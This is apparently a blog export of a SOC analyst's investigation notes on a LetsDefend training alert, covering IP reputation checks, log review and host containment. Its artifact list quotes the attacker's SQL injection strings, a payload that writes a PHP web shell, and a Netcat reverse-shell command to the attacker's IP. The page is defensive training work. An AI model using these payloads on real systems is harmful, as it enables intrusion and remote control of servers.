Additional Info: The alert was done twice because LetsDefend reached out to conduct a walkthrough. You’ll find both investigation notes below.
Date of Investigation: Aug, 23, 2024, 06:30 AM
Alert Title: Multiple 500 Resp Codes
Time to investigate: 30 Minutes
<\/p>\n\n\n\n
Retrospective Note:
This was before I had the template that included closure codes and the reasoning for choosing each code. On LetsDefend, you do input if it’s a true positive and why, but I was advised by a working professional to also include that in the notes. Aside from that, if I were to revisit this, I would include the queries run on the SIEM, in this instance, the “Log Management,” and list out the artifacts\/logs that I found with the timestamps included. As well as the actual command run by the threat actor, found in the Endpoint security modules terminal history.
<\/p>\n\n\n\n
# First Investigation\n\nAffected systems and users\nSRC IP: 101.32.223[.]119\nDST IP: 172.16.20.6\nHostname: SQLServer\n\nSteps taken in the investigation\nInternal threat intelligence returned no data on the Source IP address. No vendors reported the IP as malicious, as per Virustotal. Community Comments report of a malicious past with this IP. Cisco Talos reports a poor reputation.\nLog Management shows artifacts of successful SQL and Command Injections, including one that was a reverse shell. Successful injection can be confirmed by reviewing the Endpoints Terminal History. \n\nActions taken\nThe host was contained. \n\nReferences\nhttps://www.virustotal.com\/gui\/ip-address\/101.32.223.119\/community\nhttps:\/\/www.talosintelligence.com\/reputation_center\/lookup?search=101.32.223.119\n\n--------------------------------------------------\n# 2nd Investigation (Redone for a video walkthrough)\n\nApr, 18, 2021, 01:00 PM \nAffected systems and users \nEndPoint IP: 172.16.20.6 \nSuspected Malicious IP: 101.32.223.119 \nHostname: SQLServer \n\nSteps taken in the investigation \n\nIP is being reported as non-malicious by vendors as per Virustotal, but has a history of abuse in AbuseIPDB and is brought up in the community tab in Virustotal for malicious activity. Internal Threat Intelligence returned no data on the IP. Can see outbound connections from the endpoint IP to the suspected malicious IP. Logs from the SIEM indicate that the malicious IP was able to create a file and execute commands. Code 200 was returned for the command execution requests. The endpoint security terminal history tab confirms that the commands executed by the threat actor were successfully run. Process history shows that Netcat was run to create a reverse shell to the malicious IP. \n\nActions taken: Endpoint Contained. \n\nReferences \nhttps:\/\/www.virustotal.com\/gui\/ip-address\/101.32.223.119\/detection \nhttps:\/\/www.abuseipdb.com\/check\/101.32.223.119 \nhttps:\/\/www.talosintelligence.com\/reputation_center\/lookup?search=101.32.223.119\n\n----------- (Artifacts below were separate from notes but input into case management)\n\nExtracted Artifacts:\n\nType Value\nIP Address: 101.32.223[.]119\nRequested URL 1: hxxps[:\/\/]172[.]16.20.6\/userNumber=' OR '' = '\nRequested URL 2: hxxps[:\/\/]172[.]16[.]20[.]6\/userNumber=' union select 1, '<?php system($_GET['cmd']); ?>' into outfile '\/var\/www\/html\/cmd[.]php' #\nRequested URL 3: hxxps[:\/\/]172[.]16.20.6\/userNumber=-1 UNION SELECT 1 INTO @,@\nRequested URL 4: hxxps[:\/\/]172[.]16.20.6\/cmd[.]php?cmd=whoami\nRequested URL 5: hxxps[:\/\/]172[.]16.20.6\/userNumber=1 AND (SELECT * FROM Users) = 1\nRequested URL 6: hxxps[:\/\/]172[.]16.20.6\/cmd[.]php?cmd=id\nRequested URL 7: hxxps[:\/\/]172[.]16.20.6\/userNumber=AND true\nRequested URL 8: hxxps[:\/\/]172[.]16.20.6\/cmd[.]php?cmd=nc 101[.]32.223.119 1234 -e \/bin\/sh\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"Additional Info: The alert was done twice because LetsDefend reached out to conduct a walkthrough. You’ll find both investigation notes below. Date of Investigation: Aug, 23, 2024, 06:30 AMAlert Title: Multiple 500 Resp CodesTime to investigate: 30 Minutes Retrospective Note:This was before I had the template that included closure codes and the reasoning for choosing each code. On LetsDefend, you do input if it’s a true positive and why, but I was advised by a working professional to also include that in the notes. Aside from that, if I were to revisit this, I would include the queries run on<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"class_list":["post-1181","page","type-page","status-publish","hentry"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t